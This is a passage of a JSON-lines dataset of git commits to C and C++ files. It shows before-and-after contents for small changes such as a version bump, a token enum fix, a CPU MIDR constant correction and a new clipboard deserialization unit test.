InspectorTimelineAgent.cpp after switching Timeline to trace events as backend.\n\nBUG=361045\n\nReview URL: https:\/\/codereview.chromium.org\/254313002\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@268152 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,dednal\/chromium.src,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,Jonekee\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,dednal\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,ltilve\/chromium,Just-D\/chromium-1,jaruba\/chromium.src,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,dednal\/chromium.src,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,ltilve\/chromium,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,jaruba\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,markYoungH\/chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,M4sse\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,dushu1203\/chromium.src,markYoungH\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,Chilledheart\/chromium,Chilledheart\/chromium,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ltilve\/chromium,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,dushu1203\/chromium.src,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,ltilve\/chromium,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,jaruba\/chromium.src,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,littlstar\/chromium.src,dednal\/chromium.src"}
{"commit":"0049997b699676539caf7d2ae52f690ba374123c","old_file":"src\/configuration.h","new_file":"src\/configuration.h","old_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 9\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"QGroundControl\"\n#define QGC_APPLICATION_VERSION \"v. 1.0.9 (beta)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"QGROUNDCONTROL\";\nconst QString COMPANYNAME = \"QGROUNDCONTROL\";\nconst int APPLICATIONVERSION = 109; \/\/ 1.0.9\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","new_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 9\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"QGroundControl\"\n#define QGC_APPLICATION_VERSION \"v. 1.0.10 (beta)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"QGROUNDCONTROL\";\nconst QString COMPANYNAME = \"QGROUNDCONTROL\";\nconst int APPLICATIONVERSION = 109; \/\/ 1.0.9\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","subject":"Increment version number, since the new AHRS would break setting loading","message":"Increment version number, since the new AHRS would break setting loading\n","lang":"C","license":"agpl-3.0","repos":"hejunbok\/apm_planner,mihadyuk\/qgroundcontrol,josephlewis42\/UDenverQGC2,gpaes\/apm_planner,iidioter\/qgroundcontrol,ethz-asl\/qgc_asl,dcarpy\/apm_planner,TheIronBorn\/qgroundcontrol,381426068\/apm_planner,jy723\/qgroundcontrol,BMP-TECH\/qgroundcontrol,caoxiongkun\/qgroundcontrol,labtoast\/apm_planner,gpaes\/apm_planner,duststorm\/apm_planner,LIKAIMO\/qgroundcontrol,LIKAIMO\/apm_planner,sutherlandm\/apm_planner,gpaes\/apm_planner,BMP-TECH\/qgroundcontrol,duststorm\/apm_planner,sutherlandm\/apm_planner,mihadyuk\/qgroundcontrol,dcarpy\/apm_planner,ethz-asl\/qgc_asl,duststorm\/apm_planner,BMP-TECH\/qgroundcontrol,Icenowy\/apm_planner,RedoXyde\/PX4_qGCS,LittleBun\/apm_planner,gpaes\/apm_planner,lis-epfl\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,381426068\/apm_planner,LIKAIMO\/apm_planner,mirkix\/apm_planner,LIKAIMO\/qgroundcontrol,jy723\/qgroundcontrol,mirkix\/apm_planner,LittleBun\/apm_planner,LittleBun\/apm_planner,cfelipesouza\/qgroundcontrol,Icenowy\/apm_planner,diydrones\/apm_planner,mrpilot2\/apm_planner,hejunbok\/apm_planner,381426068\/apm_planner,TheIronBorn\/qgroundcontrol,LittleBun\/apm_planner,kd0aij\/qgroundcontrol,caoxiongkun\/qgroundcontrol,mirkix\/apm_planner,fizzaly\/qgroundcontrol,LIKAIMO\/qgroundcontrol,diydrones\/apm_planner,jy723\/qgroundcontrol,fizzaly\/qgroundcontrol,UAVenture\/qgroundcontrol,devbharat\/qgroundcontrol,381426068\/apm_planner,dagoodma\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,scott-eddy\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,sverling\/qgc_asl,CornerOfSkyline\/qgroundcontrol,Hunter522\/qgroundcontrol,Hunter522\/qgroundcontrol,greenoaktree\/qgroundcontrol,kellyschrock\/apm_planner,sutherlandm\/apm_planner,caoxiongkun\/qgroundcontrol,cfelipesouza\/qgroundcontrol,TheIronBorn\/qgroundcontrol,mirkix\/apm_planner,greenoaktree\/qgroundcontrol,mihadyuk\/qgroundcontrol,WorkerBees\/apm_planner,hejunbok\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,hejunbok\/qgroundcontrol,diydrones\/apm_planner,duststorm\/apm_planner,catch-twenty-two\/qgroundcontrol,caoxiongkun\/qgroundcontrol,Icenowy\/apm_planner,sutherlandm\/apm_planner,chen0510566\/apm_planner,xros\/apm_planner,josephlewis42\/UDenverQGC2,jy723\/qgroundcontrol,devbharat\/qgroundcontrol,greenoaktree\/qgroundcontrol,abcdelf\/apm_planner,Hunter522\/qgroundcontrol,mihadyuk\/qgroundcontrol,kd0aij\/qgroundcontrol,dcarpy\/apm_planner,dcarpy\/apm_planner,kd0aij\/qgroundcontrol,sutherlandm\/apm_planner,diydrones\/apm_planner,labtoast\/apm_planner,abcdelf\/apm_planner,dcarpy\/apm_planner,iidioter\/qgroundcontrol,lis-epfl\/qgroundcontrol,hejunbok\/qgroundcontrol,greenoaktree\/qgroundcontrol,kd0aij\/qgroundcontrol,TheIronBorn\/qgroundcontrol,UAVenture\/qgroundcontrol,RedoXyde\/PX4_qGCS,gpaes\/apm_planner,Icenowy\/apm_planner,LIKAIMO\/qgroundcontrol,jy723\/qgroundcontrol,sverling\/qgc_asl,381426068\/apm_planner,WorkerBees\/apm_planner,hejunbok\/qgroundcontrol,sverling\/qgc_asl,TheIronBorn\/qgroundcontrol,devbharat\/qgroundcontrol,diydrones\/apm_planner,xros\/apm_planner,remspoor\/qgroundcontrol,hejunbok\/apm_planner,chen0510566\/apm_planner,LIKAIMO\/qgroundcontrol,LIKAIMO\/apm_planner,remspoor\/qgroundcontrol,labtoast\/apm_planner,devbharat\/qgroundcontrol,abcdelf\/apm_planner,CornerOfSkyline\/qgroundcontrol,chen0510566\/apm_planner,abcdelf\/apm_planner,greenoaktree\/qgroundcontrol,UAVenture\/qgroundcontrol,dagoodma\/qgroundcontrol,devbharat\/qgroundcontrol,diydrones\/apm_planner,LIKAIMO\/apm_planner,catch-twenty-two\/qgroundcontrol,Icenowy\/apm_planner,catch-twenty-two\/qgroundcontrol,iidioter\/qgroundcontrol,dagoodma\/qgroundcontrol,xros\/apm_planner,scott-eddy\/qgroundcontrol,WorkerBees\/apm_planner,kellyschrock\/apm_planner,hejunbok\/apm_planner,scott-eddy\/qgroundcontrol,LIKAIMO\/qgroundcontrol,BMP-TECH\/qgroundcontrol,Icenowy\/apm_planner,mrpilot2\/apm_planner,gpaes\/apm_planner,mihadyuk\/qgroundcontrol,remspoor\/qgroundcontrol,nado1688\/qgroundcontrol,remspoor\/qgroundcontrol,scott-eddy\/qgroundcontrol,UAVenture\/qgroundcontrol,cfelipesouza\/qgroundcontrol,RedoXyde\/PX4_qGCS,kellyschrock\/apm_planner,lis-epfl\/qgroundcontrol,fizzaly\/qgroundcontrol,dagoodma\/qgroundcontrol,xros\/apm_planner,caoxiongkun\/qgroundcontrol,381426068\/apm_planner,LIKAIMO\/apm_planner,UAVenture\/qgroundcontrol,greenoaktree\/qgroundcontrol,duststorm\/apm_planner,fizzaly\/qgroundcontrol,remspoor\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,lis-epfl\/qgroundcontrol,kd0aij\/qgroundcontrol,cfelipesouza\/qgroundcontrol,kellyschrock\/apm_planner,CornerOfSkyline\/qgroundcontrol,TheIronBorn\/qgroundcontrol,hejunbok\/apm_planner,iidioter\/qgroundcontrol,mirkix\/apm_planner,dagoodma\/qgroundcontrol,josephlewis42\/UDenverQGC2,hejunbok\/qgroundcontrol,LittleBun\/apm_planner,chen0510566\/apm_planner,Hunter522\/qgroundcontrol,Hunter522\/qgroundcontrol,RedoXyde\/PX4_qGCS,ethz-asl\/qgc_asl,fizzaly\/qgroundcontrol,hejunbok\/qgroundcontrol,dagoodma\/qgroundcontrol,abcdelf\/apm_planner,lis-epfl\/qgroundcontrol,mrpilot2\/apm_planner,nado1688\/qgroundcontrol,scott-eddy\/qgroundcontrol,labtoast\/apm_planner,labtoast\/apm_planner,mrpilot2\/apm_planner,dcarpy\/apm_planner,chen0510566\/apm_planner,labtoast\/apm_planner,cfelipesouza\/qgroundcontrol,xros\/apm_planner,caoxiongkun\/qgroundcontrol,kellyschrock\/apm_planner,LIKAIMO\/apm_planner,duststorm\/apm_planner,xros\/apm_planner,josephlewis42\/UDenverQGC2,WorkerBees\/apm_planner,nado1688\/qgroundcontrol,abcdelf\/apm_planner,UAVenture\/qgroundcontrol,chen0510566\/apm_planner,nado1688\/qgroundcontrol,RedoXyde\/PX4_qGCS,mrpilot2\/apm_planner,hejunbok\/apm_planner,BMP-TECH\/qgroundcontrol,iidioter\/qgroundcontrol,sutherlandm\/apm_planner,mirkix\/apm_planner,kellyschrock\/apm_planner,scott-eddy\/qgroundcontrol,mihadyuk\/qgroundcontrol,ethz-asl\/qgc_asl,remspoor\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,RedoXyde\/PX4_qGCS,kd0aij\/qgroundcontrol,ethz-asl\/qgc_asl,iidioter\/qgroundcontrol,nado1688\/qgroundcontrol,fizzaly\/qgroundcontrol,sverling\/qgc_asl,jy723\/qgroundcontrol,nado1688\/qgroundcontrol,BMP-TECH\/qgroundcontrol,Hunter522\/qgroundcontrol,devbharat\/qgroundcontrol,LittleBun\/apm_planner,sverling\/qgc_asl,mrpilot2\/apm_planner,cfelipesouza\/qgroundcontrol"}
{"commit":"57d1526e288953b4a419bcd2f32da885cdbebcf6","old_file":"src\/cpp2\/expr_tok.h","new_file":"src\/cpp2\/expr_tok.h","old_contents":"#ifndef EXPR_TOK_H\n#define EXPR_TOK_H\n\nextern expr_n tok_cur_num;\n\nextern enum tok\n{\n\ttok_ident = -1,\n\ttok_num   = -2,\n\ttok_eof   =  0,\n\n\ttok_lparen = '(',\n\ttok_rparen = ')',\n\n\t\/* operators returned as char-value,\n\t * except for double-char ops\n\t *\/\n\n\t\/* binary *\/\n\ttok_multiply = '*',\n\ttok_divide   = '\/',\n\ttok_modulus  = '%',\n\ttok_plus     = '+',\n\ttok_minus    = '-',\n\ttok_xor      = '^',\n\ttok_or       = '|',\n\ttok_and      = '&',\n\ttok_orsc     = -1,\n\ttok_andsc    = -2,\n\ttok_shiftl   = -3,\n\ttok_shiftr   = -4,\n\n\t\/* unary - TODO *\/\n\ttok_not      = '!',\n\ttok_bnot     = '~',\n\n\t\/* comparison *\/\n\ttok_eq       = -5,\n\ttok_ne       = -6,\n\ttok_le       = -7,\n\ttok_lt       = '<',\n\ttok_ge       = -8,\n\ttok_gt       = '>',\n\n\t\/* ternary *\/\n\ttok_question = '?',\n\ttok_colon    = ':',\n\n#define MIN_OP -8\n} tok_cur;\n\nvoid tok_next(void);\nvoid tok_begin(char *);\nconst char *tok_last(void);\n\n#endif\n","new_contents":"#ifndef EXPR_TOK_H\n#define EXPR_TOK_H\n\nextern expr_n tok_cur_num;\n\nextern enum tok\n{\n\ttok_ident = -1,\n\ttok_num   = -2,\n\ttok_eof   =  0,\n\n\ttok_lparen = '(',\n\ttok_rparen = ')',\n\n\t\/* operators returned as char-value,\n\t * except for double-char ops\n\t *\/\n\n\t\/* binary *\/\n\ttok_multiply = '*',\n\ttok_divide   = '\/',\n\ttok_modulus  = '%',\n\ttok_plus     = '+',\n\ttok_minus    = '-',\n\ttok_xor      = '^',\n\ttok_or       = '|',\n\ttok_and      = '&',\n\ttok_orsc     = -3,\n\ttok_andsc    = -4,\n\ttok_shiftl   = -5,\n\ttok_shiftr   = -6,\n\n\t\/* unary - TODO *\/\n\ttok_not      = '!',\n\ttok_bnot     = '~',\n\n\t\/* comparison *\/\n\ttok_eq       = -7,\n\ttok_ne       = -8,\n\ttok_le       = -9,\n\ttok_lt       = '<',\n\ttok_ge       = -10,\n\ttok_gt       = '>',\n\n\t\/* ternary *\/\n\ttok_question = '?',\n\ttok_colon    = ':',\n\n#define MIN_OP -10\n} tok_cur;\n\nvoid tok_next(void);\nvoid tok_begin(char *);\nconst char *tok_last(void);\n\n#endif\n","subject":"Fix clash in cpp tokens","message":"Fix clash in cpp tokens\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"c4187c9c4b352f48252afe0ee30fa93d84e692a5","old_file":"include\/lib\/cpus\/aarch64\/neoverse_e1.h","new_file":"include\/lib\/cpus\/aarch64\/neoverse_e1.h","old_contents":"\/*\n * Copyright (c) 2018-2019, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef NEOVERSE_E1_H\n#define NEOVERSE_E1_H\n\n#include <lib\/utils_def.h>\n\n#define NEOVERSE_E1_MIDR\t\tU(0x410FD060)\n\n\/*******************************************************************************\n * CPU Extended Control register specific definitions.\n ******************************************************************************\/\n#define NEOVERSE_E1_ECTLR_EL1\t\tS3_0_C15_C1_4\n\n\/*******************************************************************************\n * CPU Auxiliary Control register specific definitions.\n ******************************************************************************\/\n#define NEOVERSE_E1_CPUACTLR_EL1\tS3_0_C15_C1_0\n\n\/*******************************************************************************\n * CPU Power Control register specific definitions.\n ******************************************************************************\/\n\n#define NEOVERSE_E1_CPUPWRCTLR_EL1\t\t\t\tS3_0_C15_C2_7\n#define NEOVERSE_E1_CPUPWRCTLR_EL1_CORE_PWRDN_BIT\t\t(U(1) << 0)\n\n#endif \/* NEOVERSE_E1_H *\/\n","new_contents":"\/*\n * Copyright (c) 2018-2019, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef NEOVERSE_E1_H\n#define NEOVERSE_E1_H\n\n#include <lib\/utils_def.h>\n\n#define NEOVERSE_E1_MIDR\t\tU(0x410FD4A0)\n\n\/*******************************************************************************\n * CPU Extended Control register specific definitions.\n ******************************************************************************\/\n#define NEOVERSE_E1_ECTLR_EL1\t\tS3_0_C15_C1_4\n\n\/*******************************************************************************\n * CPU Auxiliary Control register specific definitions.\n ******************************************************************************\/\n#define NEOVERSE_E1_CPUACTLR_EL1\tS3_0_C15_C1_0\n\n\/*******************************************************************************\n * CPU Power Control register specific definitions.\n ******************************************************************************\/\n\n#define NEOVERSE_E1_CPUPWRCTLR_EL1\t\t\t\tS3_0_C15_C2_7\n#define NEOVERSE_E1_CPUPWRCTLR_EL1_CORE_PWRDN_BIT\t\t(U(1) << 0)\n\n#endif \/* NEOVERSE_E1_H *\/\n","subject":"Fix wrong MIDR_EL1 value for Neoverse E1","message":"Fix wrong MIDR_EL1 value for Neoverse E1\n\nChange-Id: I75ee39d78c81ecb528a671c0cfadfc2fe7b5d818\nSigned-off-by: John Tsichritzis <c5e6a94b5ed6b01ab911c6a4e005fdf814669fe4@arm.com>\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"}
{"commit":"e6b9ebba53038ac4d1e2377ebdd15359c28368cb","old_file":"lib\/asan\/interception\/interception_linux.h","new_file":"lib\/asan\/interception\/interception_linux.h","old_contents":"\/\/===-- interception_linux.h ------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/ Linux-specific interception methods.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifdef __linux__\n\n#if !defined(INCLUDED_FROM_INTERCEPTION_LIB)\n# error \"interception_mac.h should be included from interception library only\"\n#endif\n\n#ifndef INTERCEPTION_LINUX_H\n#define INTERCEPTION_LINUX_H\n\nnamespace __interception {\n\/\/ returns true if a function with the given name was found.\nbool GetRealFunctionAddress(const char *func_name, void **func_addr);\n}  \/\/ namespace __interception\n\n#define INTERCEPT_FUNCTION_LINUX(func) \\\n    ::__interception::GetRealFunctionAddress(#func, (void**)&REAL(func))\n\n#endif  \/\/ INTERCEPTION_LINUX_H\n#endif  \/\/ __linux__\n","new_contents":"\/\/===-- interception_linux.h ------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/ Linux-specific interception methods.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifdef __linux__\n\n#if !defined(INCLUDED_FROM_INTERCEPTION_LIB)\n# error \"interception_linux.h should be included from interception library only\"\n#endif\n\n#ifndef INTERCEPTION_LINUX_H\n#define INTERCEPTION_LINUX_H\n\nnamespace __interception {\n\/\/ returns true if a function with the given name was found.\nbool GetRealFunctionAddress(const char *func_name, void **func_addr);\n}  \/\/ namespace __interception\n\n#define INTERCEPT_FUNCTION_LINUX(func) \\\n    ::__interception::GetRealFunctionAddress(#func, (void**)&REAL(func))\n\n#endif  \/\/ INTERCEPTION_LINUX_H\n#endif  \/\/ __linux__\n","subject":"Fix a wrong filename mentioned in a comment","message":"[ASan] Fix a wrong filename mentioned in a comment\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@151145 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"d202d7b2059eb440c044477993a6e0d6aa4d5086","old_file":"app\/tests\/test_device_msg_deserialize.c","new_file":"app\/tests\/test_device_msg_deserialize.c","old_contents":"#include <assert.h>\n#include <string.h>\n\n#include \"device_msg.h\"\n\n#include <stdio.h>\nstatic void test_deserialize_clipboard(void) {\n    const unsigned char input[] = {\n        DEVICE_MSG_TYPE_CLIPBOARD,\n        0x00, 0x03, \/\/ text length\n        0x41, 0x42, 0x43, \/\/ \"ABC\"\n    };\n\n    struct device_msg msg;\n    ssize_t r = device_msg_deserialize(input, sizeof(input), &msg);\n    assert(r == 6);\n\n    assert(msg.type == DEVICE_MSG_TYPE_CLIPBOARD);\n    assert(msg.clipboard.text);\n    assert(!strcmp(\"ABC\", msg.clipboard.text));\n\n    device_msg_destroy(&msg);\n}\n\nint main(void) {\n    test_deserialize_clipboard();\n    return 0;\n}\n","new_contents":"#include <assert.h>\n#include <string.h>\n\n#include \"device_msg.h\"\n\n#include <stdio.h>\n\nstatic void test_deserialize_clipboard(void) {\n    const unsigned char input[] = {\n        DEVICE_MSG_TYPE_CLIPBOARD,\n        0x00, 0x03, \/\/ text length\n        0x41, 0x42, 0x43, \/\/ \"ABC\"\n    };\n\n    struct device_msg msg;\n    ssize_t r = device_msg_deserialize(input, sizeof(input), &msg);\n    assert(r == 6);\n\n    assert(msg.type == DEVICE_MSG_TYPE_CLIPBOARD);\n    assert(msg.clipboard.text);\n    assert(!strcmp(\"ABC\", msg.clipboard.text));\n\n    device_msg_destroy(&msg);\n}\n\nstatic void test_deserialize_clipboard_big(void) {\n    unsigned char input[DEVICE_MSG_SERIALIZED_MAX_SIZE];\n    input[0] = DEVICE_MSG_TYPE_CLIPBOARD;\n    input[1] = DEVICE_MSG_TEXT_MAX_LENGTH >> 8; \/\/ MSB\n    input[2] = DEVICE_MSG_TEXT_MAX_LENGTH & 0xff; \/\/ LSB\n\n    memset(input + 3, 'a', DEVICE_MSG_TEXT_MAX_LENGTH);\n\n    struct device_msg msg;\n    ssize_t r = device_msg_deserialize(input, sizeof(input), &msg);\n    assert(r == DEVICE_MSG_SERIALIZED_MAX_SIZE);\n\n    assert(msg.type == DEVICE_MSG_TYPE_CLIPBOARD);\n    assert(msg.clipboard.text);\n    assert(strlen(msg.clipboard.text) == DEVICE_MSG_TEXT_MAX_LENGTH);\n    assert(msg.clipboard.text[0] == 'a');\n\n    device_msg_destroy(&msg);\n}\n\nint main(void) {\n    test_deserialize_clipboard();\n    test_deserialize_clipboard_big();\n    return 0;\n}\n","subject":"Add unit test for big clipboard device message","message":"Add unit test for big clipboard device message\n\nTest clipboard synchronization from the device to the computer.\n","lang":"C","license":"apache-2.0","repos":"Genymobile\/scrcpy,Genymobile\/scrcpy,Genymobile\/scrcpy"}
{"commit":"89f7600802d05329facf46d92910ad8b1bdc642d","old_file":"libmue\/tests\/test_guest_tuple_iterator.h","new_file":"libmue\/tests\/test_guest_tuple_iterator.h","old_contents":"#ifndef TEST_GUEST_TUPLE_ITERATOR_H\n#define TEST_GUEST_TUPLE_ITERATOR_H\n\n#include <cxxtest\/TestSuite.h>\n#include <unordered_set>\n#include <vector>\n\n#include \"teams.h\"\n#include \"guest_tuple_iterator.h\"\n\nclass TestSeenTable : public CxxTest::TestSuite\n{\n\tprivate:\n\t\tstd::vector<mue::Team> make_testteams(int num)\n\t\t{\n\t\t\tstd::vector<mue::Team> teams;\n\t\t\t\n\t\t\tfor (mue::Team_id i = 0; i < num; ++i)\n\t\t\t\tteams.push_back(mue::Team(i));\n\t\t\treturn teams;\n\t\t}\n\n\tpublic:\n\t\tvoid testFooBar(void)\n\t\t{\n\n\n\t\t}\n};\n\n#endif\n","new_contents":"#ifndef TEST_GUEST_TUPLE_ITERATOR_H\n#define TEST_GUEST_TUPLE_ITERATOR_H\n\n#include <cxxtest\/TestSuite.h>\n#include <unordered_set>\n#include <vector>\n\n#include \"teams.h\"\n#include \"guest_tuple_iterator.h\"\n\nclass TestSeenTable : public CxxTest::TestSuite\n{\n\tpublic:\n\t\tvoid testFooBar(void)\n\t\t{\n\t\t}\n};\n\n#endif\n","subject":"Clean skel for guest tuple iterator tests","message":"Clean skel for guest tuple iterator tests\n\nSigned-off-by: Jan Losinski <577c4104c61edf9f052c616c0c23e67bef4a9955@wh2.tu-dresden.de>\n","lang":"C","license":"bsd-3-clause","repos":"janLo\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool"}
